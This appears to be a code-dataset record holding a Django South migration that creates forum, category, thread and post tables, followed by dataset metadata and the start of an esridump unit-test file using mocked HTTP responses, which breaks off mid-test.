175e768afa1608f9f34d1e5a053763ad27db0f7e
|
[
"BSD-3-Clause"
] | null | null | null |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Forum'
db.create_table(u'forum_forum', (
(u'auditmodel_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['unobase.AuditModel'], unique=True)),
(u'tagmodel_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['unobase.TagModel'], unique=True, primary_key=True)),
('image', self.gf('django.db.models.fields.files.ImageField')(max_length=100, blank=True)),
('date_taken', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)),
('view_count', self.gf('django.db.models.fields.PositiveIntegerField')(default=0)),
('crop_from', self.gf('django.db.models.fields.CharField')(default='center', max_length=10, blank=True)),
('effect', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='forum_related', null=True, to=orm['photologue.PhotoEffect'])),
('state', self.gf('django.db.models.fields.IntegerField')(default=0)),
('publish_date_time', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)),
('retract_date_time', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)),
('title', self.gf('django.db.models.fields.CharField')(max_length=200)),
('description', self.gf('django.db.models.fields.TextField')(null=True, blank=True)),
('slug', self.gf('django.db.models.fields.SlugField')(max_length=255)),
('content', self.gf('ckeditor.fields.RichTextField')(null=True, blank=True)),
))
db.send_create_signal(u'forum', ['Forum'])
# Adding M2M table for field sites on 'Forum'
m2m_table_name = db.shorten_name(u'forum_forum_sites')
db.create_table(m2m_table_name, (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('forum', models.ForeignKey(orm[u'forum.forum'], null=False)),
('site', models.ForeignKey(orm[u'sites.site'], null=False))
))
db.create_unique(m2m_table_name, ['forum_id', 'site_id'])
# Adding model 'ForumCategory'
db.create_table(u'forum_forumcategory', (
(u'auditmodel_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['unobase.AuditModel'], unique=True)),
(u'tagmodel_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['unobase.TagModel'], unique=True, primary_key=True)),
('image', self.gf('django.db.models.fields.files.ImageField')(max_length=100, blank=True)),
('date_taken', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)),
('view_count', self.gf('django.db.models.fields.PositiveIntegerField')(default=0)),
('crop_from', self.gf('django.db.models.fields.CharField')(default='center', max_length=10, blank=True)),
('effect', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='forumcategory_related', null=True, to=orm['photologue.PhotoEffect'])),
('state', self.gf('django.db.models.fields.IntegerField')(default=0)),
('publish_date_time', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)),
('retract_date_time', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)),
('title', self.gf('django.db.models.fields.CharField')(max_length=200)),
('description', self.gf('django.db.models.fields.TextField')(null=True, blank=True)),
('slug', self.gf('django.db.models.fields.SlugField')(max_length=255)),
('content', self.gf('ckeditor.fields.RichTextField')(null=True, blank=True)),
('forum', self.gf('django.db.models.fields.related.ForeignKey')(related_name='categories', to=orm['forum.Forum'])),
))
db.send_create_signal(u'forum', ['ForumCategory'])
# Adding M2M table for field sites on 'ForumCategory'
m2m_table_name = db.shorten_name(u'forum_forumcategory_sites')
db.create_table(m2m_table_name, (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('forumcategory', models.ForeignKey(orm[u'forum.forumcategory'], null=False)),
('site', models.ForeignKey(orm[u'sites.site'], null=False))
))
db.create_unique(m2m_table_name, ['forumcategory_id', 'site_id'])
# Adding model 'ForumThread'
db.create_table(u'forum_forumthread', (
(u'auditmodel_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['unobase.AuditModel'], unique=True)),
(u'tagmodel_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['unobase.TagModel'], unique=True, primary_key=True)),
('image', self.gf('django.db.models.fields.files.ImageField')(max_length=100, blank=True)),
('date_taken', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)),
('view_count', self.gf('django.db.models.fields.PositiveIntegerField')(default=0)),
('crop_from', self.gf('django.db.models.fields.CharField')(default='center', max_length=10, blank=True)),
('effect', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='forumthread_related', null=True, to=orm['photologue.PhotoEffect'])),
('state', self.gf('django.db.models.fields.IntegerField')(default=0)),
('publish_date_time', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)),
('retract_date_time', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)),
('title', self.gf('django.db.models.fields.CharField')(max_length=200)),
('description', self.gf('django.db.models.fields.TextField')(null=True, blank=True)),
('slug', self.gf('django.db.models.fields.SlugField')(max_length=255)),
('content', self.gf('ckeditor.fields.RichTextField')(null=True, blank=True)),
('category', self.gf('django.db.models.fields.related.ForeignKey')(related_name='threads', to=orm['forum.ForumCategory'])),
('edited', self.gf('django.db.models.fields.BooleanField')(default=False)),
))
db.send_create_signal(u'forum', ['ForumThread'])
# Adding M2M table for field sites on 'ForumThread'
m2m_table_name = db.shorten_name(u'forum_forumthread_sites')
db.create_table(m2m_table_name, (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('forumthread', models.ForeignKey(orm[u'forum.forumthread'], null=False)),
('site', models.ForeignKey(orm[u'sites.site'], null=False))
))
db.create_unique(m2m_table_name, ['forumthread_id', 'site_id'])
# Adding model 'ForumPost'
db.create_table(u'forum_forumpost', (
(u'auditmodel_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['unobase.AuditModel'], unique=True)),
(u'tagmodel_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['unobase.TagModel'], unique=True, primary_key=True)),
('image', self.gf('django.db.models.fields.files.ImageField')(max_length=100, blank=True)),
('date_taken', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)),
('view_count', self.gf('django.db.models.fields.PositiveIntegerField')(default=0)),
('crop_from', self.gf('django.db.models.fields.CharField')(default='center', max_length=10, blank=True)),
('effect', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='forumpost_related', null=True, to=orm['photologue.PhotoEffect'])),
('state', self.gf('django.db.models.fields.IntegerField')(default=0)),
('publish_date_time', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)),
('retract_date_time', self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True)),
('title', self.gf('django.db.models.fields.CharField')(max_length=200)),
('description', self.gf('django.db.models.fields.TextField')(null=True, blank=True)),
('slug', self.gf('django.db.models.fields.SlugField')(max_length=255)),
('content', self.gf('ckeditor.fields.RichTextField')(null=True, blank=True)),
('thread', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['forum.ForumThread'])),
('edited', self.gf('django.db.models.fields.BooleanField')(default=False)),
))
db.send_create_signal(u'forum', ['ForumPost'])
# Adding M2M table for field sites on 'ForumPost'
m2m_table_name = db.shorten_name(u'forum_forumpost_sites')
db.create_table(m2m_table_name, (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('forumpost', models.ForeignKey(orm[u'forum.forumpost'], null=False)),
('site', models.ForeignKey(orm[u'sites.site'], null=False))
))
db.create_unique(m2m_table_name, ['forumpost_id', 'site_id'])
def backwards(self, orm):
# Deleting model 'Forum'
db.delete_table(u'forum_forum')
# Removing M2M table for field sites on 'Forum'
db.delete_table(db.shorten_name(u'forum_forum_sites'))
# Deleting model 'ForumCategory'
db.delete_table(u'forum_forumcategory')
# Removing M2M table for field sites on 'ForumCategory'
db.delete_table(db.shorten_name(u'forum_forumcategory_sites'))
# Deleting model 'ForumThread'
db.delete_table(u'forum_forumthread')
# Removing M2M table for field sites on 'ForumThread'
db.delete_table(db.shorten_name(u'forum_forumthread_sites'))
# Deleting model 'ForumPost'
db.delete_table(u'forum_forumpost')
# Removing M2M table for field sites on 'ForumPost'
db.delete_table(db.shorten_name(u'forum_forumpost_sites'))
models = {
u'auth.group': {
'Meta': {'object_name': 'Group'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
u'auth.permission': {
'Meta': {'ordering': "(u'content_type__app_label', u'content_type__model', u'codename')", 'unique_together': "((u'content_type', u'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['contenttypes.ContentType']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
u'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
u'downloads.download': {
'Meta': {'object_name': 'Download'},
'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'})
},
u'downloads.downloadversion': {
'Meta': {'ordering': "['-date_created']", 'object_name': 'DownloadVersion'},
'date_created': ('django.db.models.fields.DateField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'download': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'instances'", 'to': u"orm['downloads.Download']"}),
'eula_required': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'download_versions'", 'null': 'True', 'to': u"orm['eula.EULAVersion']"}),
'file': ('django.db.models.fields.files.FileField', [], {'max_length': '100'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_downloadable': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'version': ('django.db.models.fields.CharField', [], {'max_length': '255'})
},
u'eula.eula': {
'Meta': {'object_name': 'EULA'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'title': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '255'})
},
u'eula.eulaversion': {
'Meta': {'ordering': "['-date_created']", 'object_name': 'EULAVersion'},
'content': ('ckeditor.fields.RichTextField', [], {}),
'date_created': ('django.db.models.fields.DateField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'eula': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'instances'", 'to': u"orm['eula.EULA']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'version': ('django.db.models.fields.CharField', [], {'max_length': '255'})
},
u'forum.forum': {
'Meta': {'object_name': 'Forum'},
u'auditmodel_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['unobase.AuditModel']", 'unique': 'True'}),
'content': ('ckeditor.fields.RichTextField', [], {'null': 'True', 'blank': 'True'}),
'crop_from': ('django.db.models.fields.CharField', [], {'default': "'center'", 'max_length': '10', 'blank': 'True'}),
'date_taken': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'effect': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'forum_related'", 'null': 'True', 'to': u"orm['photologue.PhotoEffect']"}),
'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'blank': 'True'}),
'publish_date_time': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'retract_date_time': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'sites': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': u"orm['sites.Site']", 'null': 'True', 'blank': 'True'}),
'slug': ('django.db.models.fields.SlugField', [], {'max_length': '255'}),
'state': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
u'tagmodel_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['unobase.TagModel']", 'unique': 'True', 'primary_key': 'True'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
'view_count': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'})
},
u'forum.forumcategory': {
'Meta': {'object_name': 'ForumCategory'},
u'auditmodel_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['unobase.AuditModel']", 'unique': 'True'}),
'content': ('ckeditor.fields.RichTextField', [], {'null': 'True', 'blank': 'True'}),
'crop_from': ('django.db.models.fields.CharField', [], {'default': "'center'", 'max_length': '10', 'blank': 'True'}),
'date_taken': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'effect': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'forumcategory_related'", 'null': 'True', 'to': u"orm['photologue.PhotoEffect']"}),
'forum': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'categories'", 'to': u"orm['forum.Forum']"}),
'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'blank': 'True'}),
'publish_date_time': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'retract_date_time': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'sites': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': u"orm['sites.Site']", 'null': 'True', 'blank': 'True'}),
'slug': ('django.db.models.fields.SlugField', [], {'max_length': '255'}),
'state': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
u'tagmodel_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['unobase.TagModel']", 'unique': 'True', 'primary_key': 'True'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
'view_count': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'})
},
u'forum.forumpost': {
'Meta': {'ordering': "['created']", 'object_name': 'ForumPost'},
u'auditmodel_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['unobase.AuditModel']", 'unique': 'True'}),
'content': ('ckeditor.fields.RichTextField', [], {'null': 'True', 'blank': 'True'}),
'crop_from': ('django.db.models.fields.CharField', [], {'default': "'center'", 'max_length': '10', 'blank': 'True'}),
'date_taken': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'edited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'effect': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'forumpost_related'", 'null': 'True', 'to': u"orm['photologue.PhotoEffect']"}),
'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'blank': 'True'}),
'publish_date_time': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'retract_date_time': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'sites': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': u"orm['sites.Site']", 'null': 'True', 'blank': 'True'}),
'slug': ('django.db.models.fields.SlugField', [], {'max_length': '255'}),
'state': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
u'tagmodel_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['unobase.TagModel']", 'unique': 'True', 'primary_key': 'True'}),
'thread': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['forum.ForumThread']"}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
'view_count': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'})
},
u'forum.forumthread': {
'Meta': {'ordering': "['-created']", 'object_name': 'ForumThread'},
u'auditmodel_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['unobase.AuditModel']", 'unique': 'True'}),
'category': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'threads'", 'to': u"orm['forum.ForumCategory']"}),
'content': ('ckeditor.fields.RichTextField', [], {'null': 'True', 'blank': 'True'}),
'crop_from': ('django.db.models.fields.CharField', [], {'default': "'center'", 'max_length': '10', 'blank': 'True'}),
'date_taken': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'edited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'effect': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'forumthread_related'", 'null': 'True', 'to': u"orm['photologue.PhotoEffect']"}),
'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'blank': 'True'}),
'publish_date_time': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'retract_date_time': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'sites': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': u"orm['sites.Site']", 'null': 'True', 'blank': 'True'}),
'slug': ('django.db.models.fields.SlugField', [], {'max_length': '255'}),
'state': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
u'tagmodel_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['unobase.TagModel']", 'unique': 'True', 'primary_key': 'True'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
'view_count': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'})
},
u'photologue.photoeffect': {
'Meta': {'object_name': 'PhotoEffect'},
'background_color': ('django.db.models.fields.CharField', [], {'default': "'#FFFFFF'", 'max_length': '7'}),
'brightness': ('django.db.models.fields.FloatField', [], {'default': '1.0'}),
'color': ('django.db.models.fields.FloatField', [], {'default': '1.0'}),
'contrast': ('django.db.models.fields.FloatField', [], {'default': '1.0'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'filters': ('django.db.models.fields.CharField', [], {'max_length': '200', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}),
'reflection_size': ('django.db.models.fields.FloatField', [], {'default': '0'}),
'reflection_strength': ('django.db.models.fields.FloatField', [], {'default': '0.6'}),
'sharpness': ('django.db.models.fields.FloatField', [], {'default': '1.0'}),
'transpose_method': ('django.db.models.fields.CharField', [], {'max_length': '15', 'blank': 'True'})
},
u'sites.site': {
'Meta': {'ordering': "('domain',)", 'object_name': 'Site', 'db_table': "'django_site'"},
'domain': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
u'tagging.tag': {
'Meta': {'ordering': "['-publish_date_time']", 'object_name': 'Tag'},
'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'publish_date_time': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'retract_date_time': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'state': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '32'})
},
u'unobase.auditmodel': {
'Meta': {'object_name': 'AuditModel'},
'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'created_objects'", 'null': 'True', 'to': u"orm['user.User']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'leaf_content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['contenttypes.ContentType']", 'null': 'True'}),
'modified': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'modified_objects'", 'null': 'True', 'to': u"orm['user.User']"})
},
u'unobase.tagmodel': {
'Meta': {'object_name': 'TagModel'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'leaf_content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['contenttypes.ContentType']", 'null': 'True'}),
'tags': ('django.db.models.fields.related.ManyToManyField', [], {'blank': 'True', 'related_name': "'tag_models'", 'null': 'True', 'symmetrical': 'False', 'to': u"orm['tagging.Tag']"})
},
u'user.user': {
'Meta': {'object_name': 'User'},
'city': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'company': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'country': ('django_countries.fields.CountryField', [], {'max_length': '2', 'null': 'True', 'blank': 'True'}),
'crop_from': ('django.db.models.fields.CharField', [], {'default': "'center'", 'max_length': '10', 'blank': 'True'}),
'd_and_b': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'date_joined': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'null': 'True', 'blank': 'True'}),
'date_taken': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'effect': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'user_related'", 'null': 'True', 'to': u"orm['photologue.PhotoEffect']"}),
'email': ('django.db.models.fields.EmailField', [], {'unique': 'True', 'max_length': '255', 'db_index': 'True'}),
'eulas_accepted': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'users_accepted'", 'to': u"orm['eula.EULAVersion']", 'through': u"orm['user.UserEULA']", 'blank': 'True', 'symmetrical': 'False', 'null': 'True'}),
'files_downloaded': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'users_downloaded'", 'to': u"orm['downloads.DownloadVersion']", 'through': u"orm['user.UserDownload']", 'blank': 'True', 'symmetrical': 'False', 'null': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'blank': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_admin': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_console_user': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'job_title': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'legal_name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'login_token': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'login_token_init_vector': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'maturation_score': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}),
'mobile_number': ('django.db.models.fields.CharField', [], {'max_length': '16', 'null': 'True', 'blank': 'True'}),
'newsletter_recipient': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'phone_number': ('django.db.models.fields.CharField', [], {'max_length': '16', 'null': 'True', 'blank': 'True'}),
'role': ('django.db.models.fields.PositiveIntegerField', [], {'default': '100'}),
'salesforce_account_id': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'salesforce_contact_id': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'salesforce_lead_id': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'salesforce_subscription_level': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'state_province': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'street_address': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'tax_id_vat_gst_number': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '8', 'null': 'True', 'blank': 'True'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'view_count': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}),
'web_address': ('django.db.models.fields.URLField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),
'zip_postal_code': ('django.db.models.fields.CharField', [], {'max_length': '8', 'null': 'True', 'blank': 'True'})
},
u'user.userdownload': {
'Meta': {'object_name': 'UserDownload'},
'download_version': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['downloads.DownloadVersion']"}),
'downloaded_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'ip_address': ('django.db.models.fields.IPAddressField', [], {'max_length': '15'}),
'user': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['user.User']"})
},
u'user.usereula': {
'Meta': {'object_name': 'UserEULA'},
'eula': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['eula.EULAVersion']"}),
'eula_content': ('ckeditor.fields.RichTextField', [], {}),
'file_signed': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['downloads.DownloadVersion']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'ip_address': ('django.db.models.fields.IPAddressField', [], {'max_length': '15'}),
'signed_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'user': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['user.User']"})
}
}
complete_apps = ['forum']
| 84.320611
| 268
| 0.593397
| 3,665
| 33,138
| 5.245839
| 0.063847
| 0.095288
| 0.166025
| 0.237179
| 0.868719
| 0.834391
| 0.81603
| 0.772756
| 0.729273
| 0.703474
| 0
| 0.009474
| 0.174995
| 33,138
| 393
| 269
| 84.320611
| 0.693771
| 0.018981
| 0
| 0.471751
| 0
| 0
| 0.544411
| 0.312662
| 0
| 0
| 0
| 0
| 0
| 1
| 0.00565
| false
| 0.002825
| 0.011299
| 0
| 0.025424
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
160ad71bb4d4e5fa3ed21b2c9d92db6ee11a873f
| 12,313
|
py
|
Python
|
tests/download_tests.py
|
latot/pyesridump
|
9c5d2fc9d02b37736ee1a80beadec934fd0e4365
|
[
"MIT"
] | 201
|
2016-08-15T18:57:00.000Z
|
2022-02-28T06:30:00.000Z
|
tests/download_tests.py
|
latot/pyesridump
|
9c5d2fc9d02b37736ee1a80beadec934fd0e4365
|
[
"MIT"
] | 54
|
2016-08-15T12:17:19.000Z
|
2022-03-25T15:00:42.000Z
|
tests/download_tests.py
|
latot/pyesridump
|
9c5d2fc9d02b37736ee1a80beadec934fd0e4365
|
[
"MIT"
] | 51
|
2016-08-14T16:43:52.000Z
|
2022-03-23T18:06:37.000Z
|
import os
import responses
import unittest
import re
from esridump.dumper import EsriDumper
from esridump.errors import EsriDownloadError
class TestEsriDownload(unittest.TestCase):
def setUp(self):
self.responses = responses.RequestsMock()
self.responses.start()
self.fake_url = 'http://example.com'
def tearDown(self):
self.responses.stop()
self.responses.reset()
def add_fixture_response(self, url_re, file, method='POST', **kwargs):
with open(os.path.join('tests/fixtures', file), 'rb') as f:
self.responses.add(
method=method,
url=re.compile(url_re),
body=f.read(),
match_querystring=True,
**kwargs
)
def test_object_id_enumeration(self):
self.add_fixture_response(
'.*/\?f=json.*',
'us-ca-carson/us-ca-carson-metadata.json',
method='GET',
)
self.add_fixture_response(
'.*returnCountOnly=true.*',
'us-ca-carson/us-ca-carson-count-only.json',
method='GET',
)
self.add_fixture_response(
'.*returnIdsOnly=true.*',
'us-ca-carson/us-ca-carson-ids-only.json',
method='GET',
)
self.add_fixture_response(
'.*query.*',
'us-ca-carson/us-ca-carson-0.json',
method='POST',
)
dump = EsriDumper(self.fake_url)
data = list(dump)
self.assertEqual(6, len(data))
def test_statistics_pagination(self):
self.add_fixture_response(
'.*/\?f=json.*',
'us-ms-madison/us-ms-madison-metadata.json',
method='GET',
)
self.add_fixture_response(
'.*returnCountOnly=true.*',
'us-ms-madison/us-ms-madison-count-only.json',
method='GET',
)
self.add_fixture_response(
'.*outStatistics=.*',
'us-ms-madison/us-ms-madison-outStatistics.json',
method='GET',
)
self.add_fixture_response(
'.*returnIdsOnly=true.*',
'us-ms-madison/us-ms-madison-ids-only.json',
